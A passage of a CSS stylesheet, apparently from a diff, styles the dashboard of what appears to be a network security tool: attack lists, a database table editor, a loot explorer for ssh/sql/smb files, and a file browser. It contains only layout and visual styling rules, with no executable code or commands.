28%, var(--_border)); +} + +.attacks-container .unified-list { + list-style: none; + margin: 0; + padding: 0; +} + +.attacks-container .unified-list .card { + display: flex; + align-items: center; + gap: 12px; + padding: 10px; + margin-bottom: 6px; + cursor: pointer; + border-radius: 12px; + background: var(--_panel-lo); + transition: .2s; + border: 1px solid var(--_border); + box-shadow: none; +} + +.attacks-container .unified-list .card:hover { + background: var(--_panel-hi); + transform: translateY(-1px); + box-shadow: var(--_shadow); +} + +.attacks-container .unified-list .card.selected { + background: color-mix(in oklab, var(--_acid2) 16%, var(--_panel-hi)); + border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); +} + +.attacks-container .unified-list .card img { + height: 50px; + width: 50px; + border-radius: 10px; + object-fit: cover; + background: #0b0e13; + border: 1px solid var(--_border); +} + +.attacks-container .unified-list .card span { + flex: 1; + font-weight: 700; + color: var(--_ink); +} + +.attacks-container .enable-dot { + --size: 14px; + width: var(--size); + height: var(--size); + border-radius: 999px; + border: 1px solid var(--_border); + background: var(--ko); + box-shadow: 0 0 0 0 var(--ko-glow); + transition: .18s ease; + flex: 0 0 auto; + cursor: pointer; +} + +.attacks-container .enable-dot.on { + background: var(--ok); + box-shadow: 0 0 0 4px var(--ok-glow); + border-color: color-mix(in oklab, var(--ok) 45%, var(--_border)); +} + +.attacks-container .enable-dot:focus-visible { + outline: none; + box-shadow: 0 0 0 4px color-mix(in oklab, var(--_acid2) 45%, transparent); +} + +.attacks-container .page-content { + display: none; + overflow: auto; + height: -webkit-fill-available; +} + +.attacks-container .page-content.active { + display: block; +} + +.attacks-container .editor-textarea-container { + display: flex; + flex-direction: column; + height: 100%; + gap: 12px; +} + +.attacks-container .editor-header { + display: flex; + justify-content: space-between; + align-items: center; + gap: 10px; + flex-wrap: wrap; +} + +.attacks-container .editor-buttons { + display: flex; + gap: 8px; +} + +.attacks-container .editor-textarea { + flex: 1; + min-height: 400px; + resize: vertical; + font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; + font-size: 14px; + color: var(--_ink); + background: var(--_panel-lo); + border: 1px solid var(--_border); + border-radius: 12px; + padding: 14px; + box-shadow: inset 0 0 0 1px transparent; + transition: .2s; +} + +.attacks-container .editor-textarea:focus { + outline: none; + border-color: color-mix(in oklab, var(--_acid2) 30%, var(--_border)); + box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 18%, transparent); + background: var(--_panel-hi); +} + +.attacks-container .actions-bar { + display: flex; + flex-wrap: wrap; + gap: 10px; + margin-bottom: 20px; + position: sticky; + top: 0; + z-index: 10; + background: var(--_panel); + padding: 10px; + border-radius: 12px; + border: 1px solid var(--_border); + backdrop-filter: blur(10px); +} + +.attacks-container .actions-bar button, +.attacks-container .chip, +.attacks-container .select, +.attacks-container .sort-toggle { + border-radius: 10px; + border: 1px solid var(--_border); + color: var(--_ink); + background: var(--_panel-lo); + padding: 10px 12px; + cursor: pointer; + transition: .2s; + font-weight: 700; +} + +.attacks-container .actions-bar button:hover, +.attacks-container .chip:hover, +.attacks-container .select:hover, +.attacks-container .sort-toggle:hover { + background: var(--_panel-hi); + transform: translateY(-1px); +} + +.attacks-container .actions-bar button.danger { + background: color-mix(in oklab, var(--_acid) 12%, var(--_panel-lo)); +} + +.attacks-container .actions-bar button.danger:hover { + background: color-mix(in oklab, var(--_acid) 18%, var(--_panel-hi)); +} + +.attacks-container .chip { + border-radius: 999px; +} + +.attacks-container .field { + position: relative; + min-width: 190px; +} + +.attacks-container .input { + width: 100%; + padding: 10px 12px 10px 36px; + color: var(--_ink); + background: var(--_panel-lo); + border: 1px solid var(--_border); + border-radius: 10px; + outline: none; + transition: .2s; +} + +.attacks-container .input:focus { + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); + box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 14%, transparent); + background: var(--_panel-hi); +} + +.attacks-container .field .icon { + position: absolute; + left: 10px; + top: 9px; + opacity: .7; + pointer-events: none; +} + +.attacks-container .select { + appearance: none; +} + +.attacks-container .sort-toggle { + min-width: 42px; + text-align: center; +} + +.attacks-container .range-wrap { + display: flex; + align-items: center; + gap: 8px; +} + +.attacks-container .range { + accent-color: var(--_acid); +} + +.attacks-container .image-container { + display: grid; + gap: 10px; + grid-template-columns: repeat(auto-fill, minmax(var(--tile-min), 1fr)); + padding-bottom: 140px; +} + +.attacks-container .image-item { + position: relative; + border-radius: 12px; + overflow: hidden; + cursor: pointer; + aspect-ratio: 1/1; + transition: .2s; + background: var(--_panel-lo); + border: 1px solid var(--_border); +} + +.attacks-container .image-item:hover { + transform: translateY(-2px); + box-shadow: var(--_shadow); + background: var(--_panel-hi); +} + +.attacks-container .image-item img { + width: 100%; + height: 100%; + display: block; + object-fit: contain; + background: #0b0e13; + image-rendering: pixelated; +} + +.attacks-container .image-info { + position: absolute; + inset: auto 0 0 0; + padding: 6px 8px; + text-align: center; + font-size: 12px; + color: var(--_ink); + background: linear-gradient(180deg, transparent, rgba(0, 0, 0, .75)); +} + +.attacks-container .select-ring { + position: absolute; + inset: 0; + pointer-events: none; + border: 3px solid transparent; + border-radius: 12px; + transition: .2s; +} + +.attacks-container .image-item.selectable:hover .select-ring { + border-color: color-mix(in oklab, var(--_acid2) 35%, transparent); +} + +.attacks-container .image-item.selected .select-ring { + border-color: var(--_acid2); + box-shadow: inset 0 0 0 2px color-mix(in oklab, var(--_acid2) 35%, transparent); +} + +.attacks-container .tick-overlay { + position: absolute; + top: 8px; + right: 8px; + width: 26px; + height: 26px; + border-radius: 50%; + background: color-mix(in oklab, var(--_acid) 80%, white); + color: #001; + font-weight: 900; + display: none; + align-items: center; + justify-content: center; + box-shadow: var(--_shadow); +} + +.attacks-container .image-item.selected .tick-overlay { + display: flex; +} + +.attacks-container .skeleton { + border-radius: 12px; + aspect-ratio: 1/1; + background: linear-gradient(90deg, rgba(255, 255, 255, .03) 25%, rgba(255, 255, 255, .08) 37%, rgba(255, 255, 255, .03) 63%); + background-size: 400% 100%; + animation: atk-shimmer 1.1s infinite; + border: 1px solid var(--_border); +} + +@keyframes atk-shimmer { + 0% { + background-position: 100% 0; + } + + 100% { + background-position: 0 0; + } +} + +.attacks-container .edit-only { + display: none; +} + +.attacks-container .edit-mode .edit-only { + display: inline-flex; +} + +.attacks-container .status-only { + display: none; +} + +.attacks-container .static-only { + display: none; +} + +.attacks-container .status-mode .status-only { + display: inline-block; +} + +.attacks-container .static-mode .static-only { + display: inline-block; +} + +.attacks-container .web-only { + display: none; +} + +.attacks-container .icons-only { + display: none; +} + +.attacks-container .web-mode .web-only { + display: inline-block; +} + +.attacks-container .icons-mode .icons-only { + display: inline-block; +} + +.attacks-container .comments-container { + display: flex; + flex: 1 1 auto; + min-height: 0; +} + +.attacks-container .buttons-container { + display: flex; + align-items: center; + justify-content: flex-end; + gap: 8px; + margin-bottom: 10px; + flex-wrap: wrap; +} + +.attacks-container .buttons-container h2 { + margin-right: auto; +} + +.attacks-container .comments-editor { + flex: 1 1 auto; + min-width: 0; + min-height: 0; + overflow: auto; + white-space: pre; + word-wrap: normal; + background: var(--_panel-lo); + color: var(--_ink); + border: 1px solid var(--_border); + border-radius: 12px; + padding: 16px; + font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; + font-size: 14px; +} + +.attacks-container .comments-editor:focus { + outline: none; + border-color: color-mix(in oklab, var(--_acid2) 30%, var(--_border)); + box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 14%, transparent); + background: var(--_panel-hi); +} + +.attacks-container .comments-editor.placeholder { + color: var(--_muted); +} + +.attacks-container .comment-line { + display: block; + width: 100%; +} + +.attacks-container .comment-line:nth-child(odd) { + color: var(--_ink); +} + +.attacks-container .comment-line:nth-child(even) { + color: var(--_acid); +} + +.attacks-container .modal-action { + display: none; + position: fixed; + inset: 0; + z-index: 1000; + padding: 10px; + background: rgba(0, 0, 0, .6); + justify-content: center; + align-items: center; +} + +.attacks-container .modal-content { + position: relative; + width: 100%; + max-width: 520px; + max-height: 90vh; + overflow-y: auto; + background: var(--_panel-hi); + padding: 20px; + border-radius: 14px; + border: 1px solid var(--_border); + box-shadow: var(--_shadow); +} + +.attacks-container .modal-header h3 { + margin: 0 0 10px 0; + color: var(--_ink); +} + +.attacks-container .modal-body { + margin-bottom: 20px; +} + +.attacks-container .modal-footer { + display: flex; + justify-content: flex-end; + gap: 10px; +} + +.attacks-container .close { + position: absolute; + right: 10px; + top: 10px; + font-size: 24px; + cursor: pointer; + color: var(--_muted); +} + +.attacks-container .form-group { + margin-bottom: 15px; +} + +.attacks-container .form-group label { + display: block; + margin-bottom: 6px; + color: var(--_muted); + font-weight: 700; +} + +.attacks-container .form-group input[type="text"], +.attacks-container .form-group input[type="number"], +.attacks-container .form-group input[type="file"] { + width: 100%; + padding: 10px 12px; + color: var(--_ink); + background: var(--_panel-lo); + border: 1px solid var(--_border); + border-radius: 10px; + outline: none; + transition: .2s; +} + +.attacks-container .form-group input:focus { + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); + box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 14%, transparent); + background: var(--_panel-hi); +} + +.attacks-container .action-btn-container { + padding: 2px; + gap: 2px; + display: flex; + flex-direction: row; + flex-wrap: wrap; + align-content: center; + justify-content: center; + align-items: center; +} + +.attacks-container .hero-btn { + border-radius: 16px; + background: var(--grid), var(--grad-hero); + position: sticky; + bottom: 0; + border: 1px solid var(--c-border); + box-shadow: var(--shadow); + display: grid; + align-items: center; + justify-items: center; + text-align: center; + padding: 6px; +} + +@media (max-width:480px) { + .attacks-container .tabs-container { + gap: 2px; + } + + .attacks-container .tab-btn { + font-size: 13px; + padding: 8px 6px; + } + + .attacks-container .actions-bar { + gap: 8px; + } +} + +/* ========================================================================== + DATABASE + ========================================================================== */ +.db-container { + --db-row-hover: rgba(0, 255, 154, .06); + --db-row-selected: rgba(0, 255, 154, .12); + --db-cell-edited: rgba(24, 240, 255, .18); + --db-cell-focus: rgba(0, 255, 154, .22); + --sidebar-w: 280px; + min-height: 100%; + display: flex; + flex-direction: column; +} + +.db-container .db-header { + position: sticky; + top: 0; + z-index: 20; + background: var(--grad-topbar); + border: 1px solid var(--c-border); + border-radius: 12px; + padding: 12px; + box-shadow: var(--shadow); + margin-bottom: 12px; +} + +.db-container .sticky-actions { + position: sticky; + bottom: 0; + z-index: 15; + display: flex; + gap: 8px; + justify-content: flex-end; + padding: 8px; + background: linear-gradient(180deg, rgba(0, 0, 0, 0), rgba(0, 0, 0, .4)); + border-top: 1px solid var(--c-border); + border-radius: 12px; + backdrop-filter: blur(4px); +} + +.db-container .db-tree { + display: grid; + gap: 6px; +} + +.db-container .tree-head { + display: flex; + gap: 8px; + align-items: center; + margin-bottom: 8px; +} + +.db-container .tree-search { + display: flex; + gap: 6px; + align-items: center; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: 10px; + padding: 6px 8px; +} + +.db-container .tree-search input { + all: unset; + flex: 1; + color: var(--ink); +} + +.db-container .tree-group { + margin-top: 10px; +} + +.db-container .tree-item { + display: flex; + align-items: center; + gap: 8px; + padding: 8px 10px; + border: 1px solid var(--c-border); + border-radius: 10px; + background: var(--c-panel-2); + cursor: pointer; + transition: .18s; +} + +.db-container .tree-item:hover { + box-shadow: 0 0 0 1px var(--c-border-hi) inset, 0 8px 22px var(--glow-weak); + transform: translateX(2px); +} + +.db-container .tree-item.active { + background: linear-gradient(180deg, #0b151c, #091219); + outline: 2px solid color-mix(in oklab, var(--acid) 55%, transparent); +} + +.db-container .tree-item .count { + margin-left: auto; + padding: 2px 8px; + border-radius: 999px; + background: var(--c-chip-bg); + border: 1px solid var(--c-border-hi); + font-size: 11px; + color: var(--muted); +} + +.db-container .db-title { + display: flex; + align-items: center; + gap: 10px; + font-weight: 700; + color: var(--acid); + letter-spacing: .08em; +} + +.db-container .db-controls { + display: flex; + flex-wrap: wrap; + gap: 8px; + margin-top: 10px; +} + +.db-container .db-search { + display: flex; + align-items: center; + gap: 8px; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: 10px; + padding: 0 10px; + min-width: 220px; + flex: 1; +} + +.db-container .db-search input { + all: unset; + color: var(--ink); + height: 34px; + flex: 1; +} + +.db-container .db-opts { + display: flex; + gap: 8px; + align-items: center; + flex-wrap: wrap; +} + +.db-container .hint { + color: var(--muted); + font-size: 12px; +} + +.db-container .sep { + width: 1px; + height: 24px; + background: var(--c-border); + margin: 0 4px; + opacity: .6; +} + +.db-container .db-wrap { + display: flex; + flex-direction: column; + gap: 12px; + min-height: 0; + flex: 1; +} + +.db-container .db-table-wrap { + position: relative; + overflow: auto; + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--grad-card); + box-shadow: var(--shadow); + flex: 1; + min-height: 0; +} + +.db-container table.db { + width: 100%; + border-collapse: separate; + border-spacing: 0; +} + +.db-container .db-table-wrap table.db thead th { + position: sticky; + top: 0; + z-index: 5; + background: var(--c-panel); + border-bottom: 1px solid var(--c-border-strong); + text-align: left; + padding: 10px; + font-weight: 700; + color: var(--acid); + user-select: none; + -webkit-user-select: none; + cursor: pointer; + white-space: nowrap; +} + +.db-container .db tbody td { + padding: 8px 10px; + border-bottom: 1px dashed var(--c-border-muted); + vertical-align: middle; + background: var(--grad-card); +} + +.db-container .db tbody tr:hover { + background: var(--db-row-hover); +} + +.db-container .db tbody tr.selected { + background: var(--db-row-selected); + outline: 1px solid var(--c-border-hi); +} + +.db-container .cell { + display: block; + min-width: 80px; + max-width: 520px; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.db-container .cell[contenteditable="true"] { + outline: 0; + border-radius: 6px; + transition: .12s; + padding: 2px 6px; +} + +.db-container .cell[contenteditable="true"]:focus { + background: var(--db-cell-focus); + box-shadow: 0 0 0 1px var(--c-border-hi) inset; +} + +.db-container .cell.edited { + background: var(--db-cell-edited); +} + +.db-container .pk { + color: var(--muted); + font-size: 12px; +} + +.db-container .cols-drawer { + display: none; +} + +.db-container .cols-drawer.open { + display: block; +} + +.db-container .db-page { + display: grid; + grid-template-columns: 1fr; +} + +.db-container .sticky-col-cell { + position: sticky; + z-index: 3; + background: var(--grad-card); + box-shadow: 1px 0 0 0 var(--c-border-strong), -1px 0 0 0 var(--c-border); +} + +.db-container .sticky-col-head { + position: sticky; + z-index: 3; + background: var(--grad-card); + box-shadow: 1px 0 0 0 var(--c-border-strong), -1px 0 0 0 var(--c-border); +} + +.db-container .sticky-check, +.db-container .sticky-col-head.sticky-check { + z-index: 4; +} + +.db-container th.is-sticky .sticky-dot::after { + content: "\25CF"; + margin-left: 6px; + font-size: 10px; + color: var(--acid); + opacity: .9; +} + +@keyframes db-blinkChange { + from { + box-shadow: 0 0 0 0 var(--acid-22); + } + + to { + box-shadow: 0 0 0 6px transparent; + } +} + +.db-container .value-changed { + animation: db-blinkChange .66s ease; +} + +@media (max-width:1100px) { + .db-container .db-controls { + gap: 6px; + } + + .db-container .db-search { + min-width: 160px; + } + + .db-container .cell { + max-width: 60vw; + } +} + +/* ========================================================================== + BJORN + ========================================================================== */ +.bjorn-container .image-container { + display: flex; + justify-content: center; + align-items: center; + height: calc(100vh - 70px); +} + +.bjorn-container .image-container img { + max-height: 100%; + max-width: 100%; + height: -webkit-fill-available; + cursor: pointer; + transition: transform 0.2s ease-in-out; +} + +.bjorn-container .image-container img:active { + transform: scale(1.05); +} + +.bjorn-container .image-container.fullscreen img { + height: 100vh; + width: auto; +} + +@media (max-width:768px) { + .bjorn-container .image-container { + height: calc(100vh - 60px); + } +} + +/* ========================================================================== + LOOT + ========================================================================== */ +.loot-container { + position: relative; + z-index: 2; + padding: 16px; + margin-top: 5px; + min-height: calc(100vh - 60px); + display: flex; + flex-direction: column; + gap: 16px; + animation: loot-fadeInUp .6s ease-out; +} + +@keyframes loot-fadeInUp { + from { + opacity: 0; + transform: translateY(30px); + } + + to { + opacity: 1; + transform: translateY(0); + } +} + +.loot-container .stats-bar { + display: flex; + gap: 12px; + flex-wrap: wrap; + padding: 12px; + background: color-mix(in oklab, var(--_panel) 88%, transparent); + border: 1px solid var(--_border); + border-radius: 12px; + box-shadow: var(--_shadow); + backdrop-filter: blur(16px); +} + +.loot-container .stat-item { + display: flex; + align-items: center; + gap: 8px; + padding: 8px 16px; + background: color-mix(in oklab, var(--_panel) 65%, transparent); + border: 1px solid var(--_border); + border-radius: 10px; + transition: .2s; +} + +.loot-container .stat-item:hover { + background: color-mix(in oklab, var(--_panel) 78%, transparent); + transform: translateY(-2px); +} + +.loot-container .stat-icon { + font-size: 1.2rem; + opacity: .95; +} + +.loot-container .stat-value { + font-size: 1.05rem; + font-weight: 800; + background: linear-gradient(135deg, var(--_acid), var(--_acid2)); + -webkit-background-clip: text; + background-clip: text; + -webkit-text-fill-color: transparent; +} + +.loot-container .stat-label { + color: var(--_muted); + font-size: .75rem; + margin-left: 4px; +} + +.loot-container .controls-bar { + display: flex; + gap: 12px; + align-items: center; + flex-wrap: wrap; +} + +.loot-container .search-container { + flex: 1; + min-width: 200px; + position: relative; +} + +.loot-container .search-input { + width: 100%; + padding: 12px 16px 12px 44px; + background: color-mix(in oklab, var(--_panel) 90%, transparent); + border: 1px solid var(--_border); + border-radius: 12px; + color: var(--_ink); + font-size: .95rem; + backdrop-filter: blur(10px); + transition: .2s; +} + +.loot-container .search-input:focus { + outline: none; + border-color: color-mix(in oklab, var(--_acid2) 40%, var(--_border)); + box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 18%, transparent); + background: color-mix(in oklab, var(--_panel) 96%, transparent); +} + +.loot-container .search-icon { + position: absolute; + left: 16px; + top: 50%; + transform: translateY(-50%); + color: var(--_muted); + pointer-events: none; +} + +.loot-container .clear-search { + position: absolute; + right: 12px; + top: 50%; + transform: translateY(-50%); + color: var(--_muted); + cursor: pointer; + font-size: 1rem; + display: none; +} + +.loot-container .search-input:not(:placeholder-shown)~.clear-search { + display: block; +} + +.loot-container .view-controls { + display: flex; + gap: 8px; + align-items: center; +} + +.loot-container .view-btn, +.loot-container .sort-btn { + padding: 10px; + background: color-mix(in oklab, var(--_panel) 90%, transparent); + border: 1px solid var(--_border); + border-radius: 10px; + color: var(--_muted); + cursor: pointer; + transition: .2s; + backdrop-filter: blur(10px); + font-size: 1.1rem; +} + +.loot-container .view-btn:hover, +.loot-container .sort-btn:hover { + background: color-mix(in oklab, var(--_panel) 96%, transparent); + color: var(--_ink); + transform: translateY(-2px); +} + +.loot-container .view-btn.active { + background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 20%, transparent), color-mix(in oklab, var(--_acid2) 12%, transparent)); + color: var(--_ink); + border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); +} + +.loot-container .sort-dropdown { + position: relative; +} + +.loot-container .sort-menu { + position: absolute; + top: calc(100% + 8px); + right: 0; + background: color-mix(in oklab, var(--_panel) 98%, transparent); + border: 1px solid var(--_border); + border-radius: 12px; + padding: 8px; + min-width: 150px; + backdrop-filter: blur(20px); + box-shadow: var(--_shadow); + opacity: 0; + pointer-events: none; + transform: translateY(-10px); + transition: .2s; + z-index: 10; +} + +.loot-container .sort-dropdown.active .sort-menu { + opacity: 1; + pointer-events: auto; + transform: translateY(0); +} + +.loot-container .sort-option { + padding: 10px 12px; + border-radius: 8px; + cursor: pointer; + transition: .2s; + font-size: .9rem; + color: var(--_ink); +} + +.loot-container .sort-option:hover { + background: rgba(255, 255, 255, .05); +} + +.loot-container .sort-option.active { + color: var(--_ink); + background: color-mix(in oklab, var(--_acid2) 14%, transparent); +} + +.loot-container .tabs-container { + display: flex; + gap: 8px; + padding: 4px; + background: color-mix(in oklab, var(--_panel) 88%, transparent); + border-radius: 12px; + border: 1px solid var(--_border); + backdrop-filter: blur(10px); + overflow-x: auto; + scrollbar-width: none; +} + +.loot-container .tabs-container::-webkit-scrollbar { + display: none; +} + +.loot-container .tab { + padding: 10px 20px; + border-radius: 8px; + cursor: pointer; + transition: .2s; + white-space: nowrap; + font-size: .9rem; + font-weight: 700; + position: relative; + color: var(--_muted); + border: 1px solid transparent; +} + +.loot-container .tab:hover { + background: rgba(255, 255, 255, .05); + color: var(--_ink); +} + +.loot-container .tab.active { + background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 16%, transparent), color-mix(in oklab, var(--_acid2) 10%, transparent)); + color: var(--_ink); + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); +} + +.loot-container .tab.active::after { + content: ''; + position: absolute; + bottom: 0; + left: 10%; + right: 10%; + height: 2px; + background: linear-gradient(90deg, var(--_acid), var(--_acid2)); + border-radius: 2px; +} + +.loot-container .tab-badge { + display: inline-block; + padding: 2px 6px; + margin-left: 6px; + background: rgba(255, 255, 255, .08); + border: 1px solid var(--_border); + border-radius: 10px; + font-size: .75rem; + font-weight: 700; + color: var(--_ink); +} + +.loot-container .explorer { + background: color-mix(in oklab, var(--_panel) 88%, transparent); + border-radius: 20px; + border: 1px solid var(--_border); + backdrop-filter: blur(20px); + box-shadow: var(--_shadow); + overflow: hidden; + flex: 1; + display: flex; + flex-direction: column; + animation: loot-slideIn .6s ease-out; +} + +@keyframes loot-slideIn { + from { + opacity: 0; + transform: translateX(-16px); + } + + to { + opacity: 1; + transform: translateX(0); + } +} + +.loot-container .explorer-content { + padding: 20px; + overflow-y: auto; + flex: 1; + max-height: calc(100vh - 280px); +} + +.loot-container .tree-view { + display: none; +} + +.loot-container .tree-view.active { + display: block; +} + +.loot-container .list-view { + display: none; +} + +.loot-container .list-view.active { + display: grid; + gap: 8px; +} + +.loot-container .tree-item { + margin-bottom: 4px; + animation: loot-itemSlide .3s ease-out backwards; +} + +@keyframes loot-itemSlide { + from { + opacity: 0; + transform: translateX(-10px); + } + + to { + opacity: 1; + transform: translateX(0); + } +} + +.loot-container .tree-header { + display: flex; + align-items: center; + padding: 12px; + cursor: pointer; + border-radius: 10px; + transition: .2s; + position: relative; + overflow: hidden; +} + +.loot-container .tree-header::before { + content: ''; + position: absolute; + inset: 0; + background: linear-gradient(90deg, transparent, rgba(255, 255, 255, .05), transparent); + transform: translateX(-100%); + transition: transform .6s; +} + +.loot-container .tree-header:hover::before { + transform: translateX(100%); +} + +.loot-container .tree-header:hover { + background: rgba(255, 255, 255, .04); +} + +.loot-container .tree-icon { + width: 32px; + height: 32px; + display: flex; + align-items: center; + justify-content: center; + border-radius: 8px; + margin-right: 12px; + font-size: 1.1rem; + flex-shrink: 0; + background: color-mix(in oklab, var(--_acid) 12%, transparent); + color: var(--_ink); +} + +.loot-container .folder-icon { + background: color-mix(in oklab, var(--_acid) 10%, transparent); + color: var(--_ink); +} + +.loot-container .tree-name { + flex: 1; + font-weight: 600; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.loot-container .tree-chevron { + width: 20px; + height: 20px; + display: flex; + align-items: center; + justify-content: center; + color: var(--_muted); + transition: transform .3s cubic-bezier(.4, 0, .2, 1); + margin-left: 8px; +} + +.loot-container .tree-item.expanded .tree-chevron { + transform: rotate(90deg); +} + +.loot-container .tree-children { + max-height: 0; + overflow: hidden; + transition: max-height .3s cubic-bezier(.4, 0, .2, 1); + margin-left: 20px; + padding-left: 20px; + border-left: 1px solid var(--_border); +} + +.loot-container .tree-item.expanded .tree-children { + max-height: 5000px; +} + +.loot-container .file-item { + display: flex; + align-items: center; + padding: 10px 12px; + border-radius: 10px; + cursor: pointer; + transition: .2s; + margin-bottom: 4px; +} + +.loot-container .file-item:hover { + background: rgba(255, 255, 255, .04); + transform: translateX(4px); +} + +.loot-container .file-item:active { + transform: translateX(2px) scale(.98); +} + +.loot-container .file-icon { + width: 28px; + height: 28px; + display: flex; + align-items: center; + justify-content: center; + border-radius: 6px; + margin-right: 12px; + font-size: .9rem; + flex-shrink: 0; + color: var(--_ink); + background: color-mix(in oklab, var(--_panel) 75%, transparent); +} + +.loot-container .file-icon.ssh { + background: color-mix(in oklab, var(--_acid) 12%, transparent); +} + +.loot-container .file-icon.sql { + background: color-mix(in oklab, var(--_acid2) 12%, transparent); +} + +.loot-container .file-icon.smb { + background: color-mix(in oklab, var(--_acid2) 16%, transparent); +} + +.loot-container .file-icon.other { + background: color-mix(in oklab, var(--_panel) 75%, transparent); +} + +.loot-container .file-name { + flex: 1; + font-size: .9rem; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + color: var(--_ink); +} + +.loot-container .file-type { + padding: 3px 8px; + border-radius: 6px; + font-size: .7rem; + font-weight: 800; + text-transform: uppercase; + letter-spacing: .05em; + margin-left: 8px; + border: 1px solid var(--_border); + color: var(--_ink); + background: color-mix(in oklab, var(--_panel) 80%, transparent); +} + +.loot-container .file-type.ssh { + background: color-mix(in oklab, var(--_acid) 12%, transparent); +} + +.loot-container .file-type.sql { + background: color-mix(in oklab, var(--_acid2) 12%, transparent); +} + +.loot-container .file-type.smb { + background: color-mix(in oklab, var(--_acid2) 16%, transparent); +} + +.loot-container .no-results { + text-align: center; + color: var(--_muted); + padding: 40px; + font-size: .95rem; +} + +.loot-container .no-results-icon { + font-size: 3rem; + margin-bottom: 16px; + opacity: .5; +} + +.loot-container .loading { + display: flex; + justify-content: center; + align-items: center; + height: 200px; +} + +.loot-container .loading-spinner { + width: 40px; + height: 40px; + border: 3px solid var(--_border); + border-top-color: var(--_acid2); + border-radius: 50%; + animation: loot-spin 1s linear infinite; +} + +@keyframes loot-spin { + to { + transform: rotate(360deg); + } +} + +@media (max-width:768px) { + .loot-container { + padding: 12px; + gap: 12px; + } + + .loot-container .controls-bar { + flex-direction: column; + align-items: stretch; + } + + .loot-container .search-container { + width: 100%; + } + + .loot-container .view-controls { + justify-content: center; + } + + .loot-container .tabs-container { + padding: 2px; + } + + .loot-container .tab { + padding: 8px 14px; + font-size: .85rem; + } + + .loot-container .explorer-content { + padding: 12px; + max-height: calc(100vh - 320px); + } + + .loot-container .tree-children { + margin-left: 12px; + padding-left: 12px; + } + + .loot-container .stat-item { + padding: 6px 10px; + } + + .loot-container .stat-value { + font-size: .95rem; + } +} + +@media (hover:none) { + .loot-container .tree-header:active { + background: rgba(255, 255, 255, .06); + } +} + +/* ========================================================================== + FILES EXPLORER + ========================================================================== */ +.files-container .loot-container { + display: flex; + flex-direction: column; + height: calc(100vh - 120px); + padding: 12px; + gap: 12px; +} + +.files-container .file-explorer { + flex: 1; + display: flex; + flex-direction: column; + overflow: hidden; + padding: 10px; + color: var(--_ink); + background: color-mix(in oklab, var(--_panel) 92%, transparent); + border: 1px solid var(--_border); + border-radius: 14px; + backdrop-filter: blur(18px); + box-shadow: var(--_shadow); +} + +.files-container .files-grid { + overflow-y: auto; + display: grid; + grid-template-columns: repeat(auto-fill, minmax(110px, 1fr)); + gap: 8px; + padding: 8px; + border-radius: 8px; +} + +.files-container .files-list { + overflow-y: auto; + padding: 4px; +} + +.files-container .upload-container { + padding: 10px; + margin-bottom: 10px; + display: flex; + justify-content: center; + align-items: center; +} + +.files-container .drop-zone { + width: 100%; + max-width: 800px; + padding: 16px; + border: 2px dashed var(--_border); + border-radius: 12px; + text-align: center; + font-size: 14px; + color: var(--_muted); + cursor: pointer; + transition: .25s ease; + background: color-mix(in oklab, var(--_panel) 88%, transparent); + backdrop-filter: blur(8px); +} + +.files-container .drop-zone:hover { + background: color-mix(in oklab, var(--_panel) 96%, transparent); +} + +.files-container .drop-zone.dragover { + border-color: color-mix(in oklab, var(--_acid) 50%, var(--_border)); + background: color-mix(in oklab, var(--_acid) 12%, var(--_panel)); + color: var(--_ink); +} + +.files-container .grid-item, +.files-container .list-item { + border-radius: 10px; + padding: 8px; + cursor: pointer; + transition: .15s ease; + display: flex; + align-items: center; + position: relative; + border: 1px solid transparent; + background: color-mix(in oklab, var(--_panel) 86%, transparent); +} + +.files-container .grid-item { + flex-direction: column; + text-align: center; +} + +.files-container .list-item { + flex-direction: row; + gap: 12px; +} + +.files-container .grid-item:hover, +.files-container .list-item:hover { + transform: translateY(-2px); + border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); + box-shadow: 0 4px 14px rgba(0, 0, 0, .25); + background: color-mix(in oklab, var(--_panel) 96%, transparent); +} + +.files-container .grid-item img, +.files-container .list-item img { + width: 28px; + height: 28px; + margin-bottom: 4px; +} + +.files-container .list-item img { + margin-bottom: 0; +} + +.files-container .item-name { + color: var(--_ink); + font-size: 14px; + line-height: 1.3; + word-break: break-word; + pointer-events: none; +} + +.files-container .folder .item-name { + color: var(--_ink); + font-weight: 700; +} + +.files-container .item-meta { + font-size: 11px; + color: var(--_muted); + margin-top: 4px; + pointer-events: none; +} + +.files-container .multi-select-mode { + background: color-mix(in oklab, var(--_acid) 6%, transparent); +} + +.files-container .item-selected { + background: color-mix(in oklab, var(--_acid) 18%, var(--_panel)) !important; + border: 2px solid color-mix(in oklab, var(--_acid) 55%, var(--_border)) !important; +} + +.files-container .context-menu { + position: absolute; + z-index: 1000; + background: color-mix(in oklab, var(--_panel) 98%, transparent); + border: 1px solid var(--_border); + border-radius: 10px; + padding: 6px 8px; + min-width: 160px; + color: var(--_ink); + box-shadow: var(--_shadow); +} + +.files-container .context-menu>div { + padding: 8px 10px; + border-radius: 8px; + cursor: pointer; +} + +.files-container .context-menu>div:hover { + background: color-mix(in oklab, var(--_acid2) 12%, transparent); +} + +.files-container .search-container { + position: relative; + margin-bottom: 10px; + display: flex; + align-items: center; +} + +.files-container .search-input { + width: 100%; + padding: 10px 40px 10px 12px; + font-size: 14px; + border-radius: 10px; + border: 1px solid var(--_border); + background: color-mix(in oklab, var(--_panel) 90%, transparent); + color: var(--_ink); + box-sizing: border-box; + transition: .2s; +} + +.files-container .search-input:focus { + outline: none; + 